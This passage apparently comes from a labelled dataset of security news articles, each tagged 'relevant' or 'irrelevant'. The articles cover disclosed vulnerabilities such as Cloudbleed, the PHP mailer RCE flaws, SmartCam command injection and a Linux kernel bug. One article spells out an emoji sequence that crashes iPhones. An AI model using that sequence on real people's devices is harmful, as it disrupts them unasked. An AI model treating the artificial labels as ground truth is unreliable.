ability to automatically gather information about input boxes, buttons, and navigation links with minimal false positives. ""This is because humans have generated a vast amount of data on how they have interacted with the web,"" Rahul Sasi, Co-Founder and CTO of CloudSek said in its blog post published today. ""We use this data to train our models to achieve our tasks successfully. This method also helps us complete challenging tasks which otherwise is highly time-consuming for the many reinforcement Models."" Cloud-AI technology powers two of the company's product: CloudMon – a system that monitors various Internet exposed infrastructures, including Cloud-based Applications and websites, for critical security issues. x-Vigil – a system that monitors various Internet sources,underground/discussion forums, social media platforms, infiltrated data, along with uncovering a broad range of threats and providing real-time alerts without any manual intervention. Besides this, the security researchers at Cloudsek are also working to up-skill its Cloud-AI technology with an ability to find new vulnerabilities much more quickly than people behind the keyboard. Cloud-AI Finds Vulnerabilities Like Artificially Intelligent Hacker Giving a successful demonstration of their Cloud-AI technology, the researchers discovered 10 ""Insecure Direct Object Reference"" vulnerabilities in the world's largest online professional network LinkedIn. An Insecure direct object reference flaw occurs when any application frequently uses the actual name or key of an object while generating web pages, but doesn't always verify if the user is authorized for the target object. The issues fixed in LinkedIn include: Leak of any user's Email ID on LinkedIn Leak of users email and phone number and resume Deleting every user's LinkedIn request Downloading every transcript to videos from Lynda Downloading every Lynda exercise files without a premium membership To detect such flaws, all an attacker needs to do is manipulate parameter values. But finding such an easily identifiable security flaw is impossible for an automated tool due to the difficulty in reaching the flawed endpoint, whereas manually doing the process is time-consuming. ""Cloud-AI system had to fill multiple forms and follow valid patterns to reach the vulnerable endpoints. These endpoints often get missed by existing automated tools as well as manual analysis,"" CloudSek explains. Artificial Intelligence is good at breaking CAPTCHA codes, but I'm wondering, and even believe that this system might soon gain the ability to beat Google's latest reCAPTCHA system, which is also powered by a sophisticated artificial intelligence system to defend websites against bots. How AI Technology Shaping the Future of CyberSecurity Cyber security is among the biggest threats in today's world, and it is a known fact that there are not enough skilled cyber security professionals to tackle growing Internet threats. The Internet has already been struggling to defend against organized crime, state-sponsored hackers, surveillance and, of course, terrorism – but experts believe AI technology can aid us in protecting sensitive data and critical infrastructure from attackers. Either its Cloud-AI from CloudSec or OpenAI, backed by Tesla and Space X CEO Elon Musk, every player in this domain wants to build a technology that would eventually create digital intelligence in the way to benefit humanity as a whole. ""In near future, Cloud-AI would be upgraded to assist users while ordering anything on the Internet, as well can perform complex tasks to save precious time."" Sasi told The Hacker News Moreover, with the rise of the Internet of Things (IoT) devices, the cyber-security threats have grown exponentially, so extensive research into prevention and detection schemes of these technologies is strongly being considered globally. Since AI is a fundamental part of the concept of the Internet of Things, where machines and devices communicate with each other to get the work done, it's only AI and machine learning that will be incredibly useful to defend our network before anyone exploits them. Last year, Security researchers at MIT also developed a new Artificial Intelligence-based cyber security platform, called 'AI2,' which has the ability to predict, detect, and stop 85% of Cyber Attacks with high accuracy. Isn't it revolutionary idea for Internet Security? At the same time, we should not forget that smarter technologies do not come without risks. While AI could provide organizations with a valuable weapon in their arsenal, the risk is that the technology would not fall into wrong hands.",irrelevant
"You Can Crash Anyone's iPhone Or iPad With A Simple Emoji Text Message A newly discovered bug in Apple's iOS mobile operating system is being exploited in a prank that lets anyone crash your iPhone or iPad by just sending an emoji-filled iMessage, according to several reports. YouTube star EverythingApplePro published a video highlighting a sequence of characters that temporarily freeze and restart an iPhone, which people can send to their iPhone buddies to trouble them. You can watch the video demonstration below. Here's the first troublesome text: A white Flag emoji, the digit ""0"" and a Rainbow emoji. This simple numeric character, flag, and rainbow emojis confuse iOS 10 devices when it tries to combine them into a rainbow flag. As soon as this text is received, the iPhone's software attempts to combine the emojis but fails, and the messaging app crashes and eventually reboots in a few minutes. The recipients do not even have to open or read the message. Video Demonstration Another iPhone-crashing method involves the same characters, but saving them as a contact file and then sending that file to an iMessage contact via iCloud's sharing feature. This, in turn, will crash the target's device, even if the victim has not manually opened the file. Both the methods mentioned above will crash and iPhone or iPad to varying degrees, although the simple text string sent via a standard iMessage appears to affect iPhones and iPads running iOS 10.1 or below. However, the boobytrapped contact card affects all versions of iOS 10, including Apple's latest iOS 10.2 operating system. There is nothing you can do to protect yourself against this issue, as these iPhone-crashing issues have the ability to crash and reboot your iPhone or iPad without your interaction. So, we hope that Apple releases a patch quickly to plug the issues, though the company has declined to comment on the issue. This is not the first time EverythingApplePro has shared iOS-crashing issues. The YouTuber has a long history of reporting on iPhone crash pranks.",irrelevant
"Update — Hacker Claims to Have Hacked the FBI, But It Wasn't Update: A hacker yesterday claimed to have hacked the FBI's website running on Plone CMS, but it seems it wasn't hacked using any zero-day vulnerability in Plone. We contacted Plone security team and updated this story (see below) with official statements. A hacker, using Twitter handle CyberZeist, has claimed to have hacked the FBI's website (fbi.gov) and leaked personal account information of several FBI agents publically. CyberZeist had initially exposed the flaw on 22 December, giving the FBI time to patch the vulnerability in its website's code before making the data public. The hacker exploited a zero-day vulnerability in the Plone CMS, an Open Source Content Management software used by FBI to host its website, and leaked personal data of 155 FBI officials to Pastebin, including their names, passwords, and email accounts. CyberZeist tweeted multiple screenshots as proof of his claims, showing his unauthorized access to server and database files using a zero-day local file inclusion type vulnerability affecting its python plugins. Hacker also found that the FBI's website is hosted on a virtual machine running a customized older version of the open-source FreeBSD operating system. According to another tweet, the Plone CMS zero-day exploit is up for sale on an unnamed dark web marketplace. The Plone CMS is considered to be one of the most secure CMSes available today and is used by many major websites like Google, and major United States agencies including the FBI and the CIA. CyberZeist also warned other agencies, including the European Union Agency for Network and Information Security, Intellectual Property Rights Coordination Center, and Amnesty International, which are currently using the Plone CMS that they too are vulnerable to a similar attack. The FBI authorities have yet to respond to the claims. Update — Plone Security Team Says, There's No Zero-Day! Meanwhile, Plone Security team has released a security advisory saying that it will release a security update on 17th January to its customers to ""patch various vulnerabilities."" For now Advisory doesn't include much technical information about the vulnerabilities, but all supported Plone versions (4.x, 5.x). Previous versions could be affected. ""The advisory information we give in those pre-announcements is standard. In fact, the upcoming patch is to fix a minor issue with Zope which is neither a RCE or LFI inclusion problem."" Notably, Plone Security team has also mentioned that ""there is no evidence that the issues fixed here are being actively exploited."" ""The issue we are fixing in no way resembles CyberZeist's claims, neither do the issues we fixed last month."" Matthew Wilkes, Plone security team, told The Hacker News. ""The aim of releasing information from such a hack is to convince people that you've indeed hacked the target. Claims of hacks that only give information that is publicly available (such as open-source code) or impossible to verify (such as hashed passwords) are common signs of a hoax,"" Matthew said. ""It is extremely easy to fake a hack like this; it takes rudimentary Photoshop skills or use of Chrome javascript developer console."" - Nathan van Gheem, Plone security team, told THN. Also, Mr. Alexandru Ghica, Eau de Web, the maintainer of an EU website which hacker also claimed to have hacked says, ""I can say for sure that at least some of the data posted as proof is 100% fake. The hoax was a bit elaborate indeed, but that's it."" This is not the first time CyberZeist claimed to have hacked the FBI website. In 2011, the hacker breached the FBI website as a member of the infamous hacker collective known as ""Anonymous.""",irrelevant
"Microsoft Releases 4 Security Updates — Smallest Patch Tuesday Ever! In Brief Microsoft has issued its first Patch Tuesday for 2017, and it's one of the smallest ever monthly patch releases for the company, with only four security updates to address vulnerabilities in its Windows operating system as well as Adobe Flash Player. Meanwhile, Adobe has also released patches for more than three dozen security vulnerabilities in its Flash Player and Acrobat/Reader for Windows, MacOS, and Linux desktops. According to the Microsoft Advisory, only one security bulletin is rated critical, while other three are important. The bulletins address security vulnerabilities in Microsoft's Windows, Windows Server, Office, Edge and Flash Player. The only security bulletin rated as critical is the one dedicated to Adobe Flash Player, for which Microsoft distributed security patches through Windows Update. Other security bulletins that addresses flaws in Microsoft products are as follows: Bulletin 1 — MS17-001 This security update resolves just one vulnerability in the Microsoft Edge browser. Microsoft rates this bulletin as important. The vulnerability (CVE-2017-0002) could let an attacker gain elevated access privileges by tricking users to view a specially crafted web page using Microsoft Edge. This elevation of privilege flaw exists in Microsoft Edge's cross-domain policies, which could allow ""an attacker to access information from one domain and inject it into another domain,"" Microsoft says. The update will be rolled out to Windows 10 and Server 2016. Bulletin 2 — MS17-002 This security bulletin is the one that also patches a single vulnerability in Microsoft Office. The vulnerability, designated CVE-2017-0003, is a memory corruption issue that allows an attacker to perform remote code execution (RCE) in Microsoft Office 2016 and SharePoint Enterprise Server 2016. The flaw lets a specially crafted Word file to take control of the target machine with the current user's access privileges. Users who are logged in with fewer user rights on the system are less impacted than users who operate with administrative user rights, such as some home accounts and server users. Bulletin 3 — MS17-003 This security bulletin is rated as Critical and resolves 12 security vulnerabilities in Adobe Flash Player for all supported editions of Windows 8.1, Windows Server 2012, Windows Server 2012 R2, Windows RT 8.1, Windows 10, and Windows Server 2016. The security patch will be automatically rolled out to Windows users running Microsoft Edge or Internet Explorer 11. Bulletin 4 — MS17-004 This security update, also rated as important, addresses just one denial of service (DoS) vulnerability in Local Security Authority Subsystem Service (LSASS) for Windows Vista, Windows 7, Windows Server 2008, and Windows Server 2008 R2. The flaw (CVE-2017-0004) resides in the LSASS that handles authentication requests, which could be exploited to reboot the system by sending a specially crafted authentication request to the targeted system or server. Adobe Security Patch Update A total of 13 vulnerabilities has been addressed in the Flash Player, while none of the flaws have actively been exploited in the wild. The Flash Player updates for both Windows and macOS systems have been rated critical, as successful exploitation of the vulnerability could let an attacker perform remote code execution on the target system. However, Linux users are at lower risk for attack. The update for Adobe Acrobat and Reader addresses some 29 flaws, including some remote code execution (RCE) vulnerabilities in both Windows and macOS. Users and IT administrators are strongly recommended to apply Windows and Adobe patches as soon as possible in order to keep away hackers and cybercriminals from taking control over your computer. A system reboot is necessary for installing updates, so users are advised to save work on PCs where the whole package of patches is deployed before initiating the process.",relevant
"Netgear launches Bug Bounty Program for Hacker; Offering up to $15,000 in Rewards It might be the easiest bug bounty program ever. Netgear launched on Thursday a bug bounty program to offer up to $15,000 in rewards to hackers who will find security flaws in its products. Since criminals have taken aim at a rapidly growing threat surface created by millions of new Internet of things (IoT) devices, it has become crucial to protect routers that contain the keys to the kingdom that connects the outside world to the IP networks that run these connected devices. To combat this issue, Netgear, one of the biggest networking equipment providers in the world, has launched a bug bounty program focusing on its products, particularly routers, wireless security cameras and mesh Wi-Fi systems. Bug bounty programs are cash rewards given by companies or organizations to white hat hackers and researchers who hunt for serious security vulnerabilities in their website or products and then responsibly disclose for the patch release. Also Read: How Hackers Hack Bank Accounts with Router Vulnerabilities Bug bounties are designed to encourage security researchers, hackers and enthusiasts to responsibly report the vulnerabilities they discovered, rather than selling or exploiting it. On Thursday, Netgear announced that the company has partnered up with Bugcrowd to launch Netgear Responsible Disclosure Program that can earn researchers cash rewards ranging from $150 to $15,000 for finding and responsibly reporting security vulnerabilities in its hardware, APIs, and the mobile apps. Meanwhile, on the same day, The Federal Trade Commission (FTC) filed a lawsuit against D-Link, another large networking equipment providers, arguing that the company failed to implement necessary security protection in its routers and Internet-connected security cameras that left ""thousands of consumers at risk"" to hacking attacks. If you are a bug bounty hunter, you should read all terms and conditions before shooting your exploits against Netgear products or website. One of them explicitly mentioned, ""You may only exploit, investigate, or target security bugs against your own accounts and/or your own devices. Testing must not violate any law, or disrupt or compromise any data or access data that is not yours; intentional access of customer data other than your own is prohibited."" The company is paying out up to $15,000 for each vulnerability. The highest bounty will be given for the flaws that would allow access to the cloud storage video files or live video feeds of all its customers, and bugs that allow remote access to routers from the Internet, as shown in the chart above. netgear-bug-bounty However, the Netgear will also pay $10,000 for video feed and cloud storage access bugs that cannot be exploited in mass attacks. The same payout will also be given for security issues that provide access to the payment card data of all Netgear customers. Also Read: Someone Just Hacked 10,000 Routers to Make them More Secure. Others vulnerabilities that qualify the bounty program include: SQL injection bug Information disclosure flaw Stored cross-site scripting (XSS) vulnerability Cross-site request forgery (CSRF) bug Open redirect issues Here's the Bingo! Bug bounty hunters will be rewarded with a triple prize if they will successfully exploit at least three flaws in a chain. So, what are you waiting for? Go and Grab 'em all!",irrelevant
"Critical Updates — RCE Flaws Found in SwiftMailer, PhpMailer and ZendMail A security researcher recently reported a critical vulnerability in one of the most popular open source PHP libraries used to send emails that allowed a remote attacker to execute arbitrary code in the context of the web server and compromise a web application. Disclosed by Polish security researcher Dawid Golunski of Legal Hackers, the issue (CVE-2016-10033) in PHPMailer used by more than 9 Million users worldwide was thought to be fixed with the release of version 5.2.18. However, Golunski managed to bypass the patched version of PHPMailer that was given a new CVE (CVE-2016-10045), which once again put millions of websites and popular open source web apps, including WordPress, Drupal, 1CRM, SugarCRM, Yii, and Joomla, at risk of remote code execution attack. PHPMailer eventually fixed the issue with an update, version 5.2.20. All versions of PHPMailer before this critical release are affected, so web administrators and developers are strongly recommended to update to the new version. In addition to this bug, Golunski also reported a similar vulnerability in two other mailing libraries for PHP, SwiftMailer, and ZendMail, that could have also led to remote code execution attack. RCE Flaw in SwiftMailer SwiftMailer is also a popular PHP library used by many major open-source projects, including top PHP programming frameworks like Yii2, Laravel, Symfony for sending emails over SMTP. The vulnerability (CVE-2016-10074) in SwiftMailer can be exploited in the same manner as the PHPMailer vulnerability by targeting web site components that use SwiftMailer class, such as contact/registration forms, password email reset forms, and so forth. Attackers can execute arbitrary code remotely in the context of the web server, which could further be exploited to access a web server hosting a web application that used a vulnerable version of the library. The SwiftMailer vulnerability affects all versions of the library, including the then-current release, version 5.4.5-DEV. Golunski disclosed the vulnerability to SwiftMailer team, and developers acted fast to fix the issue, rolling out patched version 5.4.5 within a day. ""The mail transport (Swift_Transport_MailTransport) was vulnerable to passing arbitrary shell arguments if the ""From,"" ""ReturnPath"" or ""Sender"" header came from a non-trusted source, potentially allowing Remote Code Execution,"" reads the changelog for SwiftMailer on GitHub. RCE Flaw in ZendMail zendmail-exploit ZendMail is a component of a very popular PHP programming framework Zend Framework with more than 95 Million installations. The critical vulnerability (CVE-2016-10034) in ZendMail can also be exploited in the same manner as one discovered in PHPMailer and SwiftMailer by targeting web site components that use ZendMail, like contact/registration forms, password email reset forms, and so on. Attackers could achieve remote code execution in the context of the web server and could remotely compromise the target web application that used the vulnerable version of the ZendMail. The researcher reported the issue to ZendMail, and the developers fixed the vulnerability and rolled out the patched version. ""When using the zend-mail component to send email via the Zend\Mail\Transport\Sendmail transport, a malicious user may be able to inject arbitrary parameters to the system sendmail program,"" ZendMail wrote in a blog post. ""The attack is performed by providing additional quote characters within an address; when unsanitized, they can be interpreted as additional command line arguments, leading to the vulnerability."" Golunski has released a proof-of-concept video demonstration that will show all the three attacks in action. Golunski has also released a 3-in-1 exploit, nicknamed PwnScriptum, about the vulnerabilities in PHPMailer, SwiftMailer, and ZendMail. The researcher will soon be revealing a security white-paper with previously unknown exploitation vectors and techniques that can be used to exploit all the 3 vulnerabilities.",relevant
"Smile! Hackers Can Remotely Access Your Samsung SmartCam Security Cameras It's not necessary to break into your computer or smartphone to spy on you. Today all devices in our home are becoming more connected to networks than ever to make our lives easy. But what's worrisome is that these connected devices can be turned against us, anytime, due to lack of stringent security measures and insecure encryption mechanisms implemented in these Internet of Things (IoTs) devices. The most recent victim of this issue is the Samsung's range of SmartCam home security cameras. Yes, it's hell easy to hijack the popular Samsung SmartCam security cameras, as they contain a critical remote code execution (RCE) vulnerability that could let hackers gain root access and take full control of these devices. SmartCam is one of the Samsung's SmartThings range of devices, which allows its users to connect, manage, monitor and control ""smart"" devices in their home using their smartphones or tablets. Back in 2014, the hacking group Exploiteers, which was previously known as GTVHacker, listed some SmartCam exploits that could have allowed remote attackers to execute arbitrary commands and let them change the camera's administrator password. But instead of patching the flaw, Samsung decided to rip out the accessible web interface and use an alternate route that forced its users to run their SmartCams through the company's SmartCloud website. So, it turns out that Exploiteers broke into the Samsung's SmartCam devices again with a different hacking exploit, allowing hackers to view what are supposed to be private video feeds. What went wrong? Samsung had patched the original flaws but left one set of scripts untouched: Some PHP scripts that provide firmware updates through the SmartCam's ""iWatch"" webcam monitoring software. These PHP scripts have a command injection vulnerability which could allow unauthorized users without admin privileges to execute remote shell commands with root privileges. ""The vulnerability occurs because of improper sanitization of the iWatch firmware update filename,"" a post on Exploiteers website reads. ""A specially crafted request allows an attacker the ability to inject his command providing the attacker remote root command execution."" This defect, in turn, allows the web management system to be turned on, which was turned off by the vendor. Exploiteers has also provided a proof-of-concept video demonstration that shows their exploit successfully working on the SmartCam SNH-1011 model, but security experts believe all Samsung SmartCam devices are affected. How to Mitigate the Vulnerability? An official patch from Samsung does not appear to be available yet, but the good news is that the folks at Exploiteers have shared a DIY patch that can be downloaded by SmartCam users. However, I personally advise users to wait for an official firmware update from the company, rather than running untrusted code on their devices, though there's no indication yet if Samsung has any plan to issue a proper patch in upcoming days. Another way to mitigate the vulnerability is by keeping your SmartCam behind a network firewall. Samsung has yet to respond on the issue.",relevant
"Serious Bug Exposes Sensitive Data From Millions Sites Sitting Behind CloudFlare A severe security vulnerability has been discovered in the CloudFlare content delivery network that has caused big-name websites to expose private session keys and other sensitive data. CloudFlare, a content delivery network (CDN) and web security provider that helps optimize safety and performance of over 5.5 Million websites on the Internet, is warning its customers of the critical bug that could have exposed a range of sensitive information, including passwords, and cookies and tokens used to authenticate users. Dubbed Cloudbleed, the nasty flaw is named after the Heartbleed bug that was discovered in 2014, but believed to be worse than Heartbleed. The vulnerability is so severe that it not only affects websites on the CloudFlare network but affects mobile apps as well. What exactly is ""Cloudbleed,"" how it works, how are you affected by this bug, and how you can protect yourself? Let's figure it out. What is Cloudbleed? Discovered by Google Project Zero security researcher Tavis Ormandy over a week ago, Cloudbleed is a major flaw in the Cloudflare Internet infrastructure service that causes the leakage of private session keys and other sensitive information across websites hosted behind Cloudflare. CloudFlare acts as a proxy between the user and web server, which caches content for websites that sits behind its global network and lowers the number of requests to the original host server by parsing content through Cloudflare's edge servers for optimization and security. Almost a week ago, Ormandy discovered a buffer overflow issue with Cloudflare's edge servers that were running past the end of a buffer and were returning memory containing private data like HTTP cookies, authentication tokens, and HTTP POST bodies, with some of the leaked data already cached by search engines. Here's How Serious is Cloudbleed: ""I'm finding private messages from major dating sites, full messages from a well-known chat service, online password manager data, frames from adult video sites, hotel bookings,"" Ormandy wrote in a blog post that was also published Thursday. ""We're talking full HTTPS requests, client IP addresses, full responses, cookies, passwords, keys, data, everything."" According to Ormandy, Cloudflare had code in its ""ScrapeShield"" feature that did something similar to this: int Length = ObfuscateEmailAddressesInHtml(&OutputBuffer, CachedPage); write(fd, OutputBuffer, Length); But the company was not checking if the obfuscation parsers returned a negative value because of malicious HTML. The Cloudflare's ""ScrapeShield"" feature parses and obfuscates HTML, but since reverse proxies are shared among customers, it would affect all CloudFlare customers. Ormandy contacted Cloudflare and reported it about his findings. The company identified the cause of the issue, and immediately disabled 3 minor Cloudflare features — Email obfuscation, Server-side Excludes, as well as Automatic HTTPS Rewrites — that were using the same HTML parser chain, which was causing the leakage. Ormandy observed encryption keys, passwords, cookies, chunks of POST data, and HTTPS requests for the other leading Cloudflare-hosted websites from other users and immediately contacted Cloudflare. Since CloudFlare patched the issue but did not notify customers by Wednesday of the data leak issue, Ormandy made public his findings on Thursday, following Project Zero's seven-day policy for actively exploited attacks. Following Ormandy's public disclosure of the vulnerability on Thursday, CloudFlare confirmed the flaw, ensuring its customers that their SSL private keys were not leaked. ""Cloudflare has always terminated SSL connections through an isolated instance of NGINX that was not affected by this bug,"" Cloudflare CTO John Graham-Cumming wrote in a blog post. ""The bug was serious because the leaked memory could contain private information and because it had been cached by search engines."" ""We are disclosing this problem now as we are satisfied that search engine caches have now been cleared of sensitive information,"" he added. ""We have also not discovered any evidence of malicious exploits of the bug or other reports of its existence."" The Root Cause of Cloudbleed: The root cause of the Cloudbleed vulnerability was that ""reaching the end of a buffer was checked using the equality operator and a pointer was able to step past the end of the buffer."" ""Had the check been done using >= instead of == jumping over the buffer end would have been caught,"" said Cumming. Cloudflare has also confirmed that the greatest period of impact was between February 13 and February 18 with almost one in every 3,300,000 HTTP requests via Cloudflare potentially resulting in memory leakage, which is about 0.00003% of requests. However, the researcher argued that the DNS provider was double-dealing, claiming that the Cloudbleed vulnerability had existed for months, based on Google's cached data. How Does Cloudbleed Affect You? There are a large number of Cloudflare's services and websites that use parsing HTML pages and modify them through the Cloudflare's edge servers. Even if you do not use CloudFlare directly, that does not mean that you are spared. There is always a chance that websites you visit and web services you use may have been affected, leaking your data as well. Of course, if you are using Cloudflare services in front of your site, the flaw could impact you, exposing sensitive information that flowed between your servers and end-users through CloudFlare's proxies. While CloudFlare's service was rapidly patched the bug and has said the actual impact is relatively minor, data was leaking constantly before this — for months. Some of this leaked data were publicly cached in search engines such as Google, Bing, Yahoo, who now removed it, but some engines like DuckDuckGo still host those data. Also, other leaked data might exist in other services and caches throughout the Web, which is impossible to delete across all of these locations. Cloudbleed Also Affects Mobile Apps Cloudbleed also affects mobile apps, because, in many cases, the apps are designed to make use of the same backends as browsers for content delivery and HTTPS (SSL/TLS) termination. Users on YCombinator have confirmed the presence of HTTP header data for apps like Discord, FitBit, and Uber by searching through DuckDuckGo caches with targeted search terms. In an analysis conducted by NowSecure, the researchers have discovered some 200 iOS apps that identified as using Cloudflare services from a sampling of some 3,500 of the most popular apps on the app store. There is always a possibility of someone discovering this vulnerability before Tavis, and may have been actively exploiting it, although there is no evidence to support this theory. Some of the Cloudflare's major customers affected by the vulnerability included Uber, 1Password, FitBit, and OKCupid. However, in a blog post published by 1Password, the company assured its users that no sensitive data was exposed because the service was encrypted in transit. However, a list of websites that have potentially been impacted by this bug has been published by a user, who go by the name of 'pirate,' on GitHub, which also included CoinBase, 4Chan, BitPay, DigitalOcean, Medium, ProductHunt, Transferwise, The Pirate Bay, Extra Torrent, BitDefender, Pastebin, Zoho, Feedly, Ashley Madison, Bleeping Computer, The Register, and many more. Since CloudFlare does not yet provide the list of affected services, bear in mind that this is not a comprehensive list. What should You do about the Cloudbleed bug? Online users are strongly recommended to reset their passwords for all accounts in case you have reused the same passwords on every site, as well as monitor account activity closely as cleanup is underway. Moreover, customers who are using Cloudflare for their websites are advised to force a password change for all of their users. Update: Uber representative reached out to me via an email and said their investigation revealed that the CloudBleed bug exposed no passwords of their customers. Here's the statement provided by Uber: ""Very little Uber traffic actually goes through Cloudflare, so only a handful of tokens were involved and have since been changed. Passwords were not exposed."" Meanwhile, DuckDuckGo spokesperson also reached out to The Hacker News and said the search engine has removed the leaked data from DuckDuckGo.",relevant
"Critical Flaw in ESET Antivirus Exposes Mac Users to Remote Hacking What could be more exciting for hackers than exploiting a vulnerability in a widely used software without having to struggle too much? One such easy-to-exploit, but critical vulnerability has been discovered in ESET's antivirus software that could allow any unauthenticated attackers to remotely execute arbitrary code with root privileges on a Mac system. The critical security flaw, tracked as CVE-2016-9892, in ESET Endpoint Antivirus 6 for macOS was discovered by Google Security Team's researchers Jason Geffner and Jan Bee at the beginning of November 2016. As detailed in the full disclosure, all a hacker needs to get root-level remote code execution on a Mac computer is to intercept the ESET antivirus package's connection to its backend servers using a self-signed HTTPS certificate, put himself in as a man-in-the-middle (MITM) attacker, and exploit an XML library flaw. The actual issue was related to a service named esets_daemon, which runs as root. The service is statically linked with an outdated version of the POCO XML parser library, version 1.4.6p1 released in March 2013. This POCO version is based on a version of the Expat XML parser library version 2.0.1 from 2007, which is affected by a publicly known XML parsing vulnerability (CVE-2016-0718) that could allow an attacker to execute arbitrary code via malicious XML content. Now, when esets_daemon sent a request to https://edf.eset.com/edf during activation of the ESET Endpoint Antivirus product, an MITM attacker can intercept the request to deliver a malformed XML document using a self-signed HTTPS certificate. This event triggers the CVE-2016-0718 flaw that executes the malicious code with root privileges when esets_daemon parsed the XML content. This attack was possible because the ESET antivirus did not validate the web server's certificate. Here's what the duo explain: ""Vulnerable versions of ESET Endpoint Antivirus 6 are statically linked with an outdated XML parsing library and do not perform proper server authentication, allowing for remote unauthenticated attackers to perform arbitrary code execution as root on vulnerable clients."" Now since the hacker controls the connection, they can send malicious content to the Mac computer in order to hijack the XML parser and execute code as root. The Google researchers have also released the proof-of-concept (PoC) exploit code, which only shows how the ESET antivirus app can be used to cause a crash. ESET addressed this vulnerability on February 21 by upgrading the POCO parsing library and by configuring its product to verify SSL certificates. The patch is made available in the release of version 6.4.168.0 of ESET Endpoint Antivirus for macOS. So, make sure your antivirus package is patched up to date.",relevant
"Google Does It Again: Discloses Unpatched Microsoft Edge and IE Vulnerability This month has yet been kind of interesting for cyber security researchers, with Google successfully cracked SHA1 and the discovery of Cloudbleed bug in Cloudflare that caused the leakage of sensitive information across sites hosted behind Cloudflare. Besides this, Google last week disclosed an unpatched vulnerability in Windows Graphics Device Interface (GDI) library, which affects Microsoft's Windows operating systems ranging from Windows Vista Service Pack 2 to the latest Windows 10. While the Windows vulnerability has yet to be patched by the company, Google today released the details of another unpatched Windows security flaw in its browser, as Microsoft did not act within its 90-day disclosure deadline. The vulnerability (CVE-2017-0037), discovered and disclosed by Google Project Zero team's researcher Ivan Fratric, is a so-called ""type confusion flaw"" in a module in Microsoft Edge and Internet Explorer that potentially leads to arbitrary code execution. Proof-of-Concept Code Released! This time, with the details of this arbitrary code execution bug, the researcher has also published a proof-of-concept exploit that can crash Edge and IE, opening the door for potential hackers to execute code and gain administrator privileges on the affected systems. Fratric says he successfully ran his PoC code on the 64-bit version of IE on Windows Server 2012 R2, but both 32-bit IE 11, as well as Microsoft Edge, is affected by the same vulnerability. In short, the vulnerability affects all Windows 7, Windows 8.1, and Windows 10 users. You can know more details about the recently disclosed flaw on Google's bug report blog, along with proof-of-concept code that causes a crash of the browsers, though sophisticated hackers can build more dangerous exploits as well. This vulnerability was reported to Microsoft on November 25, and it went public on February 25, after Google Project Zero's 90-day disclosure policy. Three Unpatched, but Already Disclosed Windows Flaws While Microsoft has delayed this month's Patch Tuesday and already has to patch two already disclosed, but unpatched vulnerabilities, it is hard to say if the company actually included a patch for this vulnerability discovered by Google in its next roll out of patches. Yes, Microsoft has to patch two other severe security flaws as well, which have already been publicly disclosed with working exploit code but remain still unpatched, giving hackers enough time to target Windows users. First one is a Windows SMB flaw that affects Windows 8, Windows 10 and Windows Server. The PoC exploit code of this flaw was released almost two weeks ago. The other one is the vulnerability disclosed by Google last week that affects Microsoft's Windows operating systems ranging from Windows Vista Service Pack 2 to the latest Windows 10. Meanwhile, just to remain on the safer side, Windows users are advised to replace their Internet Explorer and Edge browsers with a different one if possible and avoid clicking on suspicious links and websites they do not trust.",relevant
"Google Discloses Windows Vulnerability That Microsoft Fails To Patch, Again! Microsoft is once again facing embarrassment for not patching a vulnerability on time. Yes, Google's Project Zero team has once again publicly disclosed a vulnerability (with POC exploit) affecting Microsoft's Windows operating systems ranging from Windows Vista Service Pack 2 to the latest Windows 10 that had yet to be patched. A few months back, the search engine giant disclosed a critical Windows vulnerability to the public just ten days after revealing the flaw to Microsoft. However, this time Google revealed the vulnerability in Windows to the public after Microsoft failed to patch it within the 90-day window given by the company. Google's Project Zero member Mateusz Jurczyk responsibly reported a vulnerability in Windows' Graphics Device Interface (GDI) library to Microsoft Security Team on the 9th of June last year. The vulnerability affects any program that uses this library, and if exploited, could potentially allow hackers to steal information from memory. While Microsoft released a patch for the vulnerability on 15th June, the company did not fix all the issues in the GDI library, forcing the Project Zero researcher to once again report it to Microsoft with a proof-of-concept on 16th of November. ""As a result, it is possible to disclose uninitialized or out-of-bounds heap bytes via pixel colors, in Internet Explorer and other GDI clients which allow the extraction of displayed image data back to the attacker,"" Jurczyk notes in the new report. Now, after giving the three-month grace period to the company, Google released the details of the vulnerability to the public, including hackers and malicious actors. Google Project Zero team routinely finds security holes in different software and calls on the affected software vendors to publicly disclose and patch bugs within 90 days of discovering them. If not, the company automatically makes the flaw along with its details public. Although Windows users need not panic, as hackers will require physical access to the host machine to exploit the vulnerability, the Redmond giant will have to release an emergency patch before sophisticated exploits are developed. Microsoft recently delayed its this month's Patch Tuesday by a month due to ""a last-minute issue that could impact some customers and was not resolved in time for [Microsoft's] planned updates"" on 14th February. So, if there is no expected emergency patch this month, this newly disclosed vulnerability will be left open for hackers for almost a month to exploit — just like we saw last time when Russian hackers actively exploited then-unpatched Windows kernel bug in the wild — which could put Windows users at potential risk.",relevant
"11-Year Old Linux Kernel Local Privilege Escalation Flaw Discovered Another privilege-escalation vulnerability has been discovered in Linux kernel that dates back to 2005 and affects major distro of the Linux operating system, including Redhat, Debian, OpenSUSE, and Ubuntu. Over a decade old Linux Kernel bug (CVE-2017-6074) has been discovered by security researcher Andrey Konovalov in the DCCP (Datagram Congestion Control Protocol) implementation using Syzkaller, a kernel fuzzing tool released by Google. The vulnerability is a use-after-free flaw in the way the Linux kernel's ""DCCP protocol implementation freed SKB (socket buffer) resources for a DCCP_PKT_REQUEST packet when the IPV6_RECVPKTINFO option is set on the socket."" The DCCP double-free vulnerability could allow a local unprivileged user to alter the Linux kernel memory, enabling them to cause a denial of service (system crash) or escalate privileges to gain administrative access on a system. ""An attacker can control what object that would be and overwrite its content with arbitrary data by using some of the kernel heap spraying techniques. If the overwritten object has any triggerable function pointers, an attacker gets to execute arbitrary code within the kernel,"" full disclosure mailing list about the vulnerability reads. DCCP is a message-oriented transport layer protocol that minimizes the overhead of packet header size or end-node processing as much as possible and provides the establishment, maintenance and teardown of an unreliable packet flow, and the congestion control of that packet flow. This vulnerability does not provide any way for an outsider to break into your system in the first place, as it is not a remote code execution (RCE) flaw and require an attacker to have a local account access on the system to exploit the flaw. Almost two months ago, a similar privilege-escalation vulnerability (CVE-2016-8655) was uncovered in Linux kernel that dated back to 2011 and allowed an unprivileged local user to gain root privileges by exploiting a race condition in the af_packet implementation in the Linux kernel. The vulnerability has already been patched in the mainline kernel. So, if you are an advanced Linux user, apply the patch and rebuild kernel yourself. OR, you can wait for the next kernel update from your distro provider and apply it as soon as possible.",relevant
